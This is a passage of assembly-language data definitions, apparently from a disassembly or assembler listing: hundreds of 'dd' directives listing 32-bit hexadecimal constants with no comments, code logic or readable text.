0F4A66E9Bh, 9A93230Ch, 7CD93BF3h, 0C3A0A001h, 94383EF2h dd 0E43D5339h, 586553C0h, 674E5B97h, 0D4DBD88Fh, 35481F2Ch dd 6825DEC8h, 4C9B877Ah, 39C1BFCEh, 0EF63E6DCh, 0E4EE31A5h dd 9FF93BFh, 0E3D580A5h, 53435370h, 0F035B1F7h, 0ABDDAEB5h dd 0B25B4AAh, 0EE15E9C0h, 0DFCD26DFh, 0F7FCC01Fh, 1CF1306Ah dd 0ABD3821Eh, 1987CBC5h, 827CE6A3h, 0ED1D19F6h, 0CE7422DCh dd 63E9BE7h, 6B7EBF37h, 0A16F9CBCh, 4F13A0C2h, 0F0CD8E01h dd 0A2F24782h, 8B0CC684h, 8AB71E8Bh, 0FE5A5F65h, 3387887h dd 0BA532229h, 6297CF77h, 6CB53384h, 0E0BB4F02h, 48ED449Bh dd 1CC17D69h, 86C3E081h, 6E4F2C84h, 6F36EF22h, 85AA87FFh dd 2FFE91B8h, 34702177h, 1C16564Bh, 0ED2FDF6Eh, 0BB684F2Bh dd 491E7A77h, 4773888Ah, 45DE0AEEh, 6643C97Ch, 0B2F31509h dd 6A775B2Eh, 0B12B065Ch, 59131F11h, 0E0EF3327h, 0EC2B9F93h dd 8932BE3Dh, 0B8975B3Ch, 0C6663EDDh, 0E17F52A9h, 0A496F8EEh dd 90A58A1Eh, 0E17FFC86h, 72D55DFh, 2D88DC59h, 914AF00Ah dd 8EA92D6Bh, 0EEACBF96h, 8DC5777Fh, 3DC069CFh, 79CD02DAh dd 0B10E35Ah, 6AA0D3EFh, 0F9CB3E3Fh, 0D3F6B740h, 5446367Dh dd 0CBB3A642h, 0D4FEE371h, 5764DA79h, 0B37468ECh, 7AD6EEDEh dd 76E176C1h, 54855BEBh, 0B9CEE86Ch, 8F22A659h, 0AC2E304Eh dd 7F5EE74Fh, 9D3F766Fh, 0D80AEE08h, 7456557Ah, 0C603B36Fh dd 6D49C054h, 8AF26A12h, 3B984692h, 0E37F06E4h, 0BB25EC7Ah dd 9A8C612Ch, 637D7B4h, 46C660EBh, 0AD744392h, 0EEC84DD0h dd 0CD303D9Ah, 1889800Bh, 0B742FBEFh, 0D158C79Eh, 2FAE1504h dd 43D87419h, 178557E2h, 6B2E248Ah, 0F0F3F83Dh, 475EE1B2h dd 0DC8AE614h, 837C5D46h, 99CF646Ah, 74547C0Ch, 0D9D09CB1h dd 52B64784h, 7F75AE7Bh, 3A692599h, 8C987827h, 325CD50h dd 3B834480h, 0C0B01E89h, 0DD4380B5h, 7A910F33h, 0CFE8FF9Dh dd 0C1668E4h, 82A00976h, 0DF768FF4h, 0D122E5E9h, 0BE205B41h dd 148EE93Dh, 0F6622C1h, 0D30A70B8h, 28255903h, 0F9235A98h dd 0E1B51872h, 6EF75CDFh, 80726385h, 63E2429Fh, 99E242B0h dd 67D6B562h, 0D7EBA5BCh, 46888A1Ah, 0F9E8D6h, 567DEAC4h dd 7E96DE23h, 28F14BA5h, 475EE588h, 58949707h, 0DCD2E9EEh dd 0E4C9D829h, 0B31D322Fh, 50FEC1AFh, 2F9442D7h, 7F33A437h dd 0A8FC0308h, 4A4242C0h, 8A109A69h, 67BD9FFAh, 0D864EA04h dd 0D8653C87h, 10BA5135h, 0EC2D75DFh, 8CDE39B8h, 5C0C9120h dd 0C64ACE25h, 0AA4B3781h, 714A74A5h, 770B473h, 0FE03207Bh dd 0F1502DABh, 994E453Eh, 7123B122h, 0D03CB23h, 4AE3461Bh dd 0D3EB4F9Fh, 4E5A0F55h, 75032201h, 0A6807BFEh, 0D1206659h dd 9E1432B7h, 0B54D317Eh, 826A2B21h, 3FD39906h, 4610F60Bh dd 5D1EC223h, 1124F4C7h, 0E284B00h, 144C6F14h, 0F213297Bh dd 1B0FA712h, 0C436B044h, 78B0906Fh, 20961FC0h, 0C374BABEh dd 45F4007Dh, 0C6CA9762h, 1B446F03h, 99B578E4h, 0A0C89B3Dh dd 61EC19C2h, 619301C3h, 4B6E8984h, 6B3F1BDh, 3885734h dd 5DA2718Ah, 2E37A171h, 7E139D1Dh, 47349E2Eh, 90CAC519h dd 0CDE0022Ch, 0FF1A612h, 3262BF48h, 43E74077h, 6EF9897Ah dd 0F6569ED2h, 0EE3F4E8Dh, 91858B61h, 399F4E53h, 0EDAC44BDh dd 206C3E41h, 887DBE3Ch, 0E3F9A6A8h, 0C3EC8BB6h, 4A462093h dd 7442FF09h, 338F4C56h, 1D764B32h, 8F169E4Eh, 74CE63F6h dd 3D5382E4h, 520A06BAh, 0C1029D22h, 2B467AE4h, 0F1A630F2h dd 0C881912Fh, 0DABB998Eh, 0D713E0FFh, 0BBF7E5CCh, 31714646h dd 75D608A0h, 2E3D87C3h, 3F81A981h, 9FE076C5h, 0AD556CD5h dd 90836D5Fh, 124407E1h, 1D088F63h, 8D1DD825h, 37B38DAEh dd 30EF57DDh, 0F68809FFh, 0B9435825h, 26285D4Ah, 0FD9D960h dd 0FDE5A39Ch, 2CD51C13h, 2E75D766h, 0B430AE92h, 52A08FCDh dd 18AB3DDEh, 0D0314CADh, 964F0550h, 89D4FB4h, 86B119C7h dd 21759296h, 71FCF2ACh, 89115DAAh, 0B7FEB217h, 79590A3Ch dd 0CFC62902h, 9EF4CF3Fh, 0AA8AC2CDh, 0FD4CBE46h, 4D5BF052h dd 53A598FAh, 640AA9D0h, 204FA6DBh, 1F60E408h, 49AD5BC6h dd 28626638h, 8678EB83h, 0F19E9177h, 0A7643604h, 0ADE1DB0Eh dd 34B769C5h, 0AE123D1Dh, 2BD7138Ch, 93DCC0A4h, 602A3936h dd 0B842FB5Bh, 0B20583F0h, 527D9074h, 8D9C6E0Ch, 0AB42C930h dd 0D9413786h, 0F7DBEF1Dh, 0A089C6DDh, 0F853B809h, 974123FDh dd 64F31516h, 0EDBDA14Fh, 8CBAF201h, 4D5BFADCh, 5EF6FEBCh dd 389D9E16h, 78BE8618h, 6A9272B1h, 2ADDA029h, 0D1D29679h dd 346BD166h, 4A643394h, 3D5BD5B6h, 58C7E735h, 0CCF251A9h dd 93AE4483h, 96194621h, 0FCE89738h, 0F44B28FCh, 9FD837B3h dd 96045DC1h, 0EBA4F2DEh, 331FCC07h, 6321AD44h, 7234C5Bh dd 882518ECh, 103AD6Bh, 2872C5F1h, 0E68CAF50h, 90BBC62Bh dd 0D415E760h, 0E304FE48h, 0BA099E48h, 0BA249F40h, 0D9304C30h dd 0A1AF8FBAh, 0F59403B3h, 355D937Ch, 0DA435897h, 2097FF5Bh dd 0AA568AD8h, 977A566Ch, 3AA2B285h, 71C5FC67h, 7915FDF4h dd 5CF69451h, 0B3A6AA3Dh, 0F6118334h, 95A8440Dh, 93781DEFh dd 50563C25h, 75500B27h, 7B30D107h, 0E1392EB5h, 0DFFF6AA5h dd 0B49B01E2h, 9AB0E0A0h, 212E8718h, 133A5756h, 0F64C89Bh dd 0D41C4C85h, 33D0E91Bh, 0FCCBE119h, 54BADF6Eh, 8BE0BDCFh dd 0F8CA2D1Ch, 0C1760A55h, 47A89C49h, 0A4D01FBEh, 0B2ACB723h dd 4DC6AFE7h, 0EBEC75Eh, 5FBE5676h, 0C4C26E81h, 17BB80C6h dd 0E384C79Dh, 0E0215FDCh, 92432DD3h, 0ADBABBE1h, 4C8ACB39h dd 0E8329119h, 95B0409Bh, 88CA61D8h, 6534AF76h, 7E0DD8C2h dd 6E334ECEh, 0ABE60321h, 2970D18Dh, 59FD2CCh, 257A4E6Ah dd 0B665D744h, 0DC28CF5Eh, 830AAC26h, 142CB7CAh, 4D4A9495h dd 19271FE3h, 0D597BCFEh, 0B101BFCDh, 8732938Ah, 36BFE6AEh dd 21820BFDh, 486D704Ch, 970972C1h, 0BD42E41Fh, 0CC39DBF4h dd 99D804F5h, 84F4486Bh, 0DAB082D4h, 433C550Bh, 629DE280h dd 141F28A7h, 9E02C09Bh, 0A6268B01h, 6D1EF401h, 0B43DAB8Ch dd 0F865E64Dh, 49F7ABE4h, 10C9118h, 546D837Dh, 3068B4h dd 3E067719h, 0A4901859h, 0B66F6EF2h, 0FC4A1255h, 0CB86EA62h dd 3FF3DA69h, 298F69D9h, 0FCB27FADh, 5249883Eh, 0C007E83Ch dd 96F39EEDh, 5623F8AAh, 0AF264936h, 0A78ECF7Eh, 0C38DB2C6h dd 0A7591B6Dh, 4E81D9C9h, 988865C5h, 404763DEh, 1D70A049h dd 4262743h, 0BD22099h dd 1B758ACDh, 0D4BD1FB8h, 3CFFC7D2h, 42B3DEA4h, 3F97D6CAh dd 4E4564A5h, 0A5E5F48Dh, 0ACB31EC0h, 274D150h, 0B8933CBEh dd 4FCA9852h, 0BED49F28h, 18FE44D0h, 0A0DE6D52h, 0F872E6Fh dd 0E21979B9h, 0D625E0E9h, 3D3398CDh, 389BEE5Bh, 16D6188Ah dd 0BD9D5E25h, 0A4EBD006h, 0C96C40F2h, 7D44E886h, 14D8605Fh dd 0B70AD5A4h, 0B4BD7D97h, 416775A6h, 0A2AB6E9Dh, 0E984B012h dd 65519949h, 0E80A71B5h, 80BBEB72h, 31B89180h, 0DE72245Eh dd 92E9DFDFh, 64D42889h, 4B7A5FB5h, 2BDB5F72h, 836BFC29h dd 636E85CCh, 54BB37D6h, 0F8D5E0A9h, 5F3474B5h, 0A4A0A90Eh dd 6E36A7BFh, 0E7EBD373h, 302E1519h, 0B26F7CC6h, 0B62635B5h dd 82B3B35Fh, 92552076h, 49546155h, 0AC0B9006h, 0ABAB5720h dd 0A260C53Bh, 590F275Ah, 8B2EA7A8h, 0A6695DDDh, 0AA1471E1h dd 52387340h, 4E825F1Ch, 0A292FC5Ch, 5367133Dh, 0B9A97F23h dd 7195EC5h, 1CA37A73h, 63D3BAAFh, 6CA16571h, 5FFA40A2h dd 5BADAA8Ah, 0D53D42ADh, 32B4DA88h, 1A571A00h, 0D9E1ABF6h dd 8C2F4D64h, 0C8384CF9h, 71B724CEh, 9E2E8E9Ch, 91B6D49Ch dd 549A3F15h, 7C68C495h, 3E49F9C3h, 7D557923h, 951A71EFh dd 971A7D01h, 0C8747EBCh, 97E4F586h, 0D6696C8Ch, 5B67964h dd 48E31283h, 0FD871922h, 0BFBCF341h, 0FCFEFB84h, 7DA61774h dd 8D45CC4Eh, 0AEFCDA3Dh, 8D18DEEAh, 8F359D17h, 71CA8092h dd 24CBB618h, 3EDC4A97h, 18CE41ABh, 9C2D0D13h, 8652071Dh dd 8DE74A4Ch, 0A42010DBh, 482135A6h, 0BD9D91A8h, 4BAB0C0Ch dd 497A0928h, 71DFED5Fh, 0A9E47EA7h, 98C14632h, 0CBFBB901h dd 846B3AA6h, 180A1B3Dh, 0DD600B76h, 2DDA93C9h, 3D6BE656h dd 8AC173A9h, 6EF7F665h, 8ADCCFFBh, 0F8099D39h, 0C7D9B827h dd 4819CCC4h, 0BC4BDF4Bh, 88D9B8FCh, 94F30A66h, 5526E01Fh dd 0D307F3F7h, 0FAB347F1h, 6AB6A0F1h, 4B2F3780h, 13F716Fh dd 28F7009Fh, 7C19E35Eh, 4814AB1Eh, 2086CDFDh, 3D9752B4h dd 0D09E9721h, 6996A764h, 3E80277Eh, 77D47E0h, 85997594h dd 629D327h, 1B84A6A6h, 0A755A594h, 0ADFF57F6h, 94067057h dd 0A9D291BBh, 5A04627Bh, 0C2A3FDBh, 0E4CB7CA4h, 72E6AB42h dd 7EEB839Ch, 937733DBh, 2E354732h, 0EEC73847h, 0F484D6FFh dd 7A7F625Fh, 6C753715h, 0C0C3E6FCh, 0E8F67F44h, 0B22D001Eh dd 6B3CCFACh, 0BBDFA6C9h, 367043B8h, 6C4A2D91h, 4B377221h dd 10EEF609h, 3884CD36h, 0D4A54619h, 48A2D2A6h, 7BAFC581h dd 0EBCCB38Eh, 78DE7BADh, 72446A90h, 0FF7872B2h, 0B3A3539Ah dd 8AA46A18h, 0D07F4AC3h, 5A164433h, 34E2DE9h, 0B0C3F1B7h dd 5412C0EEh, 5C00CE2h, 50D97E83h, 4A988163h, 0CFC8C86Dh dd 692B8F0Fh, 1DDB9DCCh, 87CFE336h, 0FF5CFB81h, 0A102D546h dd 8E47030h, 0E83F1F9Fh, 0C19DB000h, 40078404h, 0AE860941h dd 1541C03h, 89FA0610h, 0BE9495Dh, 0B09EDAA6h, 7C3530DDh dd 0C2BDBB3Dh, 2D8B5AE7h, 3D0A1DCBh, 0EF29D085h, 0D76E44D7h dd 77EECE9h, 0A5E72DF2h, 448E06BDh, 0A0857704h, 0C53B7E22h dd 0AEBE4F97h, 0CD4A46CCh, 35B692D8h, 5658D351h, 0DB4F8253h dd 0C1BBBC9Bh, 5917404Dh, 42081E2Bh, 33CC4063h, 202629D7h dd 0F2583766h, 0FA53D94Eh, 33988A40h, 0DDAF7633h, 2A437392h dd 0F32A9064h, 16341A09h, 7E214D46h, 0B026041Bh, 4DA5FE9Dh dd 0D762302Bh, 77731E8h, 97AD52ACh, 22DDBA1Bh, 6BD8FBDFh dd 3B7075F1h, 0AC1FE2E9h, 43EC112Ah, 0C3DF8B45h, 7FE465BEh dd 7E485270h, 8FC96ACh, 0E98294ECh, 0E256B737h, 436474FFh dd 213D9D7h, 0D6CFB47Ah, 9666B326h, 22AB1A8Bh, 0A5E59017h dd 2A60CACCh, 0E7DCF5D1h, 22836AB1h, 41156C11h, 0C60FB3A6h dd 860A012Ch, 0AD900808h, 0B7E8A804h, 30832B46h, 349DB604h dd 1544D14h, 9800A0A0h, 9C46285Bh, 334B05FFh, 702B15B5h dd 5A2A17A0h, 0FAAC0C90h, 4CC20847h, 0C782EF38h, 9B69E170h dd 127ED664h, 0F71A2A83h, 1F1FC4D3h, 854B0D7Dh, 0A92FAD16h dd 0CC896B76h, 2793A89Fh, 76550267h, 1C5BAECDh, 812ECDA3h dd 0E2430490h, 3D5A64EDh, 0BC64379Ch, 217477A9h, 1984FF2Ch dd 75F6F110h, 0E4355CC3h, 0D6AA53A1h, 8E65FBAEh, 0DF277096h dd 0D78D150Bh, 436BA22Fh, 0AE005C0Eh, 56C7BB04h, 29A97726h dd 3D99E594h, 0BD5BC54Dh, 0ED9E5415h, 0E1990D87h, 5E556592h dd 0F85AE678h, 50D9E845h, 83B1715Dh, 8E3BB065h, 0B9458667h dd 5DBB599h, 5B474534h, 66D0E83Ah, 0D8E7DBBCh, 1468B784h dd 0E5E59D79h, 0E5109E14h, 5CEADA22h, 28D98B0Ah, 5138C517h dd 42679BC8h, 9837A679h, 2CC1FE68h, 0BCF7B436h, 0DF414460h dd 0C9FEE864h, 0EE4A1034h, 0AACCFC81h, 90E024ADh, 0B2FB98D0h dd 7A67A888h, 72700D15h, 4AD5C15Ch, 0E5FA5364h, 33DA6E2h dd 8616CD45h, 0C099746Ah, 7BB56F6Eh, 7ACA02Ch, 0F5C9488Ch dd 0B8F65B99h, 0D1C1CECBh, 0B5AA277h, 9C84E582h, 0CA9F3CEBh dd 0EE7D5BF8h, 3F11DCE1h, 948294CAh, 1B7516ECh, 44B7717Dh dd 0DEDE459Fh, 3B8E0C19h, 35A20F7Ah, 9374B685h, 3188D4F3h dd 0F22DA1FBh, 0D2423F3Bh, 0D2FD119Ch, 5E880216h, 8BD1559Fh dd 3B3320D5h, 0AAD8C2F3h, 0DB726E72h, 0E8B1E432h, 5EA534F0h dd 68728CE8h, 0D99FF3E7h, 6CB985ECh, 8CC58729h, 7E0A9C90h dd 849E298Fh, 9445AD77h, 0F00CAEF4h, 0BD7C2FEDh, 8940A03Ah dd 0F21BBAACh, 0D3F402DDh, 42C10DEAh, 9BA25CCh, 0EF802CA5h dd 95AEBD4Fh, 0E16C8DEh, 4A3E4375h, 76DC877Eh, 0EB238C57h dd 0AAE67C37h, 0F9673696h, 56069DE6h, 94AD2033h, 42884A8Fh dd 461B501h, 74F7084Bh, 0F17A448Eh, 0C8AF5FBFh, 0DA60B80Eh dd 2A68DF8Ch, 0EF747EC6h, 5A842912h, 1C787C08h, 261F80CCh dd 9B2A21F9h, 5A2FB426h, 0C9431445h, 0E1DEC278h, 2F422588h dd 155D89C3h, 15F865Fh, 0B9B7DA32h, 0A98B3127h, 63E97BFCh dd 469F9F4Ch, 7DE0E8A6h, 661B00D9h, 7D0ED66h, 7DC9153h dd 0E9963866h, 0E18B35B6h, 6C32196Bh, 5244DD67h, 9BE9B47Ah dd 0B7106E62h, 0E9ACDEFDh, 719F5F39h, 4856CD21h, 0D7353048h dd 31DE438Ch, 0A9ADCE05h, 0B471ED20h, 69539BD3h, 0E83E59F1h dd 2E002F30h, 439DDC4Dh, 0D9EF56F5h, 93DA251Dh, 961A17A2h dd 0B91237C3h, 0A9596CF3h, 0CF50FC0Bh, 6A30BDE3h, 2AE06FD6h dd 0FA982471h, 611B412Ch, 0B2C3BBF0h, 61A2FC20h, 106D4512h dd 0F6968Dh, 0A6B3B680h, 8D7038E5h, 0D5E5190Ch, 84441EC7h dd 1409EDFFh, 7A695112h, 67B26A9Fh, 1EFDE256h, 0FBE270EBh dd 0F287C802h, 62715468h, 0CA8A260h, 2E9948B6h, 1C2E14D1h dd 6DE7D9h, 25DA7A95h, 4C4B1AFFh, 0E7D92AB1h, 724FB9D8h dd 131DA557h, 0C19A0C1h, 2EE5796Ch, 6FD74D4h, 50CFAEB6h dd 318D05E4h, 0A4E132C1h, 0C300A05Dh, 0EF082739h, 0A1FAB7F7h dd 5737BABBh, 9EA65236h, 0D222B379h, 1D5E6005h, 4D831E02h dd 884C0DC8h, 0CAC10411h, 0F4FA2F3Fh, 8E18A951h, 0C436E9E6h dd 23C15D4Ch, 0CB0706CCh, 0E58BD7FDh, 0AD4B536Eh, 2040783Eh dd 21603589h, 45F02701h, 15C1A1C6h, 2BB6AD6Eh, 321BD590h dd 3E0D1733h, 0CC74D9D8h, 70AF9F91h, 0C080AD67h, 830B5FC9h dd 47F53FF6h, 2A8A84CFh, 31EFF3EEh, 0F58C2891h, 798426BFh dd 890BAC59h, 6C2751D2h, 0B3F989B0h, 2AABEA2Fh, 8879673h dd 0C28C0657h, 8A293C14h dd 0E2E32023h, 70BA2EBh, 96365044h, 94C8044Ch, 194856A5h dd 0E170C8F7h, 91E2B4CBh, 0BBBE5273h, 0CFBAB940h, 837360A1h dd 301153h, 0A0A72192h, 0CBCF896h, 9BB4AF3Dh, 3D3256C9h dd 6D6B3C2Dh, 6CD05E9Fh, 0C652A6F1h, 5CB171A6h, 0FB0E2FD1h dd 0C9C610E0h, 0AD07FB27h, 0B019DE40h, 2BA6CF3Eh, 0FF577CEh dd 0C9342AF0h, 4321551Bh, 1080B193h, 0BAEE46B2h, 30AA73E1h dd 316B10Ah, 0C51F9B11h, 82E47DBBh, 0F4652477h, 0C38C862h dd 83FAE1F7h, 0FC4DB3C3h, 3313C11Ah, 7A25D6B7h, 4D8DF35Dh dd 24A2016Ah, 8A22CC00h, 0BC47C047h, 82DFD474h, 5904C475h dd 0ED5811C7h, 1FECFFE3h, 0F0C8F752h, 7F8D519h, 3F242A8Ah dd 0CE0C51F2h, 248E06B4h, 0E83081C5h, 0CEB0F13Ch, 0DA14C254h dd 9930AF09h, 6C41A245h, 34EE9B0Eh, 0C765A3F3h, 798E5AB6h dd 9D10A3FFh, 15AC4DF1h, 0AA495162h, 0E50057BCh, 0E90DAE77h dd 4A00F238h, 0BA8028C7h, 0C9B25C8Bh, 0C8E8DFEh, 3920275Eh dd 806D0A1h, 7C81EAA2h, 0CD8740A1h, 0D411D89Ch, 4C2736BAh dd 0DEEBDEC0h, 296D4DAFh, 1FF0F7AAh, 79A1341Ah, 0F14DEB82h dd 0DEE7D979h, 27E8A3F3h, 0A1DD4A68h, 0A5AA682Ch, 16177F78h dd 9D568A0Ch, 59808EA4h, 531792CCh, 2A029A6Ah, 599E183Fh dd 0EEA2261Dh, 0E01AC506h, 0F5E9FF01h, 0A76F19D7h, 3C8B150h dd 86FF7151h, 76C1ABEAh, 0E40091ACh, 0EC7D2B5Dh, 0AF231EB1h dd 261A599Dh, 0CDE62B31h, 0DF47F87Ch, 1617DA8Dh, 0DD36D013h dd 8B1BEDA8h, 2778B821h, 48082E85h, 10DD95C9h, 1AACE262h dd 69D23B8Bh, 5E709E1Ah, 0F52C2CD6h, 2B292F45h, 4C184FA9h dd 0F382999Ch, 9B2CD7Bh, 3ECE5B38h, 529C7819h, 0B8ED3779h dd 31BD4CEEh, 0CD6FEA6Dh, 1EEF7E02h, 42E38EDCh, 0E84C1F7Ch dd 12881F79h, 2A7B3178h, 0F3BF40C9h, 443B99CEh, 0F90C14FAh dd 0FEA7173Eh, 0F0996BDh, 0FD849FB7h, 434BFC02h, 715A7EABh dd 0B8A3BEF7h, 5ADECFBh, 7000C19Bh, 4F5F3DDh, 313C0F98h dd 443FD6CAh, 93F2D0C5h, 1EA80DEDh, 606D5880h, 0F4564E7Dh dd 0AD1389CDh, 0C8108539h, 2CC657F0h, 7D061184h, 90F93EEDh dd 1D513E03h, 249DE543h, 9C40086Fh, 9089709Eh, 2574B4BEh dd 7D432CC6h, 0D502F58h, 5005B7CFh, 8AEE92C4h, 0CA31F4Eh dd 0C8D9EA94h, 3BB46DB8h, 0E0C282B1h, 41B4A55Fh, 4BD85513h dd 88321B5Eh, 4E490D42h, 0A1EF08A6h, 65BF4CF3h, 7E41EF0Dh dd 3EFA331Ah, 7F30C3F6h, 4084336Dh, 94842A45h, 0DB54962Ah dd 98673E07h, 171C4E21h, 0D508E6C3h, 68175F8Ah, 0FA53418h dd 0B28A61FCh, 9B7CF5D6h, 12BADF8Ch, 0B975F897h, 9496542Ah dd 7D4F2A62h, 0F13FDF93h, 0B36A6A7Dh, 846D8793h, 371DBAB4h dd 0F9756DB5h, 0CC22F88h, 7E35365Ch, 0CCC0840h, 2F33FF7Ch dd 458559C1h, 0F74E041Dh, 1347FDCCh, 0D25CEBA1h, 0CB4DA849h dd 0CABCEA4h, 0E17C66A2h, 7BD1F96Bh, 6864E423h, 0F40ACB68h dd 83E5A11Ch, 3295AEB6h, 0BEADD9AAh, 0E1FDBE3Bh, 3704DD9Fh dd 0EB01F806h, 2D2DA9B2h, 77B7791Dh, 0B34CF2D8h, 71931E4Bh dd 0A95CC307h, 43BCF9E9h, 898E3874h, 463BE590h, 3499448Dh dd 3020548Bh, 2AA6CB52h, 0D8B0F326h, 0F21E650Ah, 3C8513ACh dd 0C4706932h, 0F7BEBE5Dh, 38677A54h, 0EA10606Ch, 78EDCEE1h dd 85D93237h, 0E616B6A7h, 9FEB3052h, 0B77A6D5h, 0C5911791h dd 62166D30h, 49C09C88h, 0AA72C478h, 0D2BB4641h, 89F96DFh dd 56A06401h, 0E87C3F9Ah, 46830315h, 1EC397DAh, 3ED7AE57h dd 3CDE75A5h, 56CF9442h, 0B58F2796h, 56525D9Ah, 0A09C60AFh dd 0C72771B9h, 64CDF92Dh, 4329D472h, 0BA3F20EEh, 57F1E4C8h dd 0C36D9088h, 0D5A13A01h, 92723837h, 0CE654EBCh, 93FFCB42h dd 12E5C1A1h, 3D1C258Fh, 0C2C7241Ah, 49518AE3h, 10397896h dd 407E896h, 321C3853h, 18EFBAFCh, 0A24EFBF6h, 0CD3A40D8h dd 0BAB54B40h, 3BA84711h, 0F7FD405Bh, 0E3D21121h, 71BF7090h dd 39DBC247h, 750AA09Bh, 87A4F059h, 6E9D5CC5h, 7EB03A80h dd 0C1EB1B48h, 0AC41FAFEh, 8B7CE7A4h, 0F6296F16h, 9E83110h dd 0E390A09Ah, 0B2212E3Ah, 0B631BF64h, 0D915D1AFh, 4358B0FEh dd 65B88844h, 4CA1FE0h, 702B2A93h, 75A13EDEh, 7EA4A736h dd 2B8A5CC4h, 1C83E321h, 43B76479h, 0E6F364F2h, 0DE2EB2ADh dd 9F21261Ah, 79ED913Eh, 0C3B28898h, 95946114h, 92822D49h dd 1674CA87h, 0FF7CB54Fh, 0EFD4D084h, 9BC2B6BAh, 66B3828Ch dd 2C77DC68h, 854A7A9Bh, 0F1372307h, 0A330633Fh, 888C4C2h dd 7D6EBCB0h, 3D78112Ch, 0A1F0FBE5h, 0EB8D410Ch, 0E55F6BE9h dd 0DDDE6100h, 0B8AF1F94h, 0A67CFA24h, 0E2B05BFBh, 0DA526EABh dd 0C5A980DBh, 7BA90D5Ah, 6D7EE4A1h, 14FACB16h, 5A45821Ch dd 2CE4675Bh, 1751EBBBh, 48A9B805h, 0EAC2B20Ah, 4092E9F2h dd 2C9910BCh, 0FE8EF48Dh, 0F592411Dh, 557E2F0Dh, 1007AC0Fh dd 63F3658Eh, 591CF4CFh, 7568BE31h, 0ECD4B3EEh, 0AB6DED5Bh dd 43F5ECF1h, 755907F6h, 713FC07Ah, 0FDA0B8E5h, 816AC808h dd 0A5F428EAh, 49AE90ECh, 31936177h, 0C5E2413Ah, 113FBEC1h dd 0B9B8A5B3h, 6CEB1A4Ah, 6EE0A963h, 1CF60A56h, 18C0E5DBh dd 3E208541h, 0D0CDC5D4h, 28A20791h, 5F7DC89Bh, 0BE08EA84h dd 0D703BE21h, 35C633C0h, 213DA71Eh, 0A52EBD8h, 7A06C49Ah dd 706C891Ch, 52EA856Bh, 0D79368Eh, 80DA19DFh, 450F76DAh dd 4770046Bh, 917D42FCh, 0E93FFE68h, 0FD7CB84Ah, 96BBC539h dd 0C0287D4h, 0F70A0B0Ah, 0EC2E8574h, 0E2BC4305h, 0CAB9DCD7h dd 3EE425F3h, 992CEF13h, 79BC03D9h, 0E7B5FE35h, 0C89E129Ch dd 57B389A4h, 0BB0583ACh, 74608423h, 8CC1CC3Eh, 95B0746Fh dd 8100A15Eh, 8290E7E6h, 79C7A9EBh, 4ADF5318h, 268A7489h dd 589B1185h, 3D719DAAh, 58CC1C64h, 99032887h, 9FB41651h dd 0DD633D0Ch, 0A8558CEDh, 0E217F226h, 8B319EACh, 30A0FEA1h dd 0B4393182h, 6DA78C01h, 8C12B0Eh, 3D0C6BC0h, 0BA2C9019h dd 0F515AE7Dh, 15F7894Dh, 0A9D26C4h, 6F281A27h, 6A3655CFh dd 6DE2E4E9h, 0A45F224Eh, 9167A55Ah, 5ABA3F21h, 9241A757h dd 0C8FA1D7Ah, 4F102E0Bh, 0EFAF3FF4h, 0FE47879Fh, 0DFF15467h dd 0C2ED4A3Dh, 2090421h, 0C0E3DA68h, 32EFFAD9h, 81D83F60h dd 3F29286Ch, 8EFFD2C6h, 0AE0F0A9Bh, 0BAA4F7FEh, 7991029Ch dd 6CFBF897h, 277A8EEBh, 8AD109ADh, 9BA0D9A3h, 18E1BCB0h dd 2A662D17h, 0A50C753Ch, 0A08B4725h, 8645BD64h, 0E3700A8h dd 27E1A26Ah, 398552AFh, 0C4A40441h, 0A5E65D55h, 1D5AD5Fh dd 0E15F580h, 48FDB8FBh, 6E24ABECh, 0B75A69F9h, 0B344E717h dd 0B1CB046h, 206D7083h, 0B7A1F361h, 4246CF55h, 11712E4Ch dd 8B6D8224h, 5BB71EF8h, 431F8FE8h, 40149F9Dh, 38D38FEh dd 29D8E0C6h, 0D5D7D08h, 0E2E39A56h, 698F32C4h, 5FD210EFh dd 4F43D34Dh, 8BBA8219h, 2D01B239h, 5EC2334Ch, 0C0EF16E6h dd 4D113200h, 9B1532C6h, 54E34E66h, 0CE856F7Ch, 2907B541h dd 1E6E0A27h, 6AC86A1Fh, 6A233141h, 0C5EDF7A2h, 0FC026ACAh dd 0C9DAC65Eh, 0C359BF3Ah, 588E3E14h, 0D0952BD5h, 12710C66h dd 22FC63ABh, 241C2790h, 88E49F47h, 0F094BCB9h, 0A4216827h dd 4439BA95h, 63DCF6F9h, 9E5CABD6h, 0DB35DF24h, 0D7D6056Bh dd 61D17912h, 0BA945D64h, 17A34FE4h, 0B63CD843h, 750A038Bh dd 0C3D71C80h, 7D5E9E03h dd 155E5C7h, 487641CDh, 73A9779Ch, 9BE5967Fh, 4A5B3BBBh dd 9B1653B1h, 5E035EF3h, 941FC242h, 0FEF3E940h, 9CC55B72h dd 88F57ECAh, 3998FCBh, 60BBF419h, 0E2B62E56h, 0A4DC9CD1h dd 0DF613785h, 476E3A9Ch, 898ED42h, 0E4EFB93Fh, 1CF2FC75h dd 0F40D2B99h, 0F92D0822h, 64E4752Bh, 3CE75B5Dh, 0D2386DE4h dd 0D50B14Ah, 0B0B0F411h, 8CE4A2F0h, 94DB89A2h, 4BAD8CBEh dd 90AB2BCAh, 11F5418Eh, 0D7D185BAh, 0BAE73B07h, 67593BE4h dd 8CF243B8h, 0FD6B06B3h, 0CE66E5EDh, 17E7D74h, 0FE4B2C25h dd 8CF6B072h, 0F1C40AF4h, 6768B869h, 0EFA44335h, 5B694CE5h dd 0F8942397h, 3BE17F2Ch, 0EE125165h, 68CA221h, 0E7FB3929h dd 0A006C72Dh, 75891F02h, 7C5AC625h, 27E57B87h, 0BB0A0AB7h dd 756E533Ch, 0A8227E2Ch, 50825A78h, 0C6D3CFADh, 37CAFE07h dd 0EB586267h, 6AFCAE7Eh, 0D5BA9D5Dh, 3399824h, 8BF1C010h dd 4F969312h, 9D1FEE30h, 2288E32Dh, 19E8F42Dh, 1A9D911h dd 9503568Bh, 0F394A95Fh, 0F90580E4h, 482CDADh, 67B98255h dd 0CB9FC16Fh, 59A6D46Ah, 9895FB11h, 0E40ED53Ah, 0D65D0EC5h dd 2E6FCAAFh, 0E1A17E0Ch, 6EA54027h, 0BD77464Dh, 83F450D2h dd 0E735C908h, 2ADF70DAh, 0AF7FD2B4h, 0F2948225h, 0F66FB65h dd 59018AC3h, 0FFECB9EEh, 0A3CE062Ah, 0DED4A71Bh, 86047ACFh dd 9A16BB96h, 0F78E6CB2h, 7FEB31B3h, 46507FA2h, 365D9AE0h dd 0B65C8CE6h, 0C5EC8A9Ch, 10FB782Dh, 0A0177D8Fh, 0C526E868h dd 6954B7DAh, 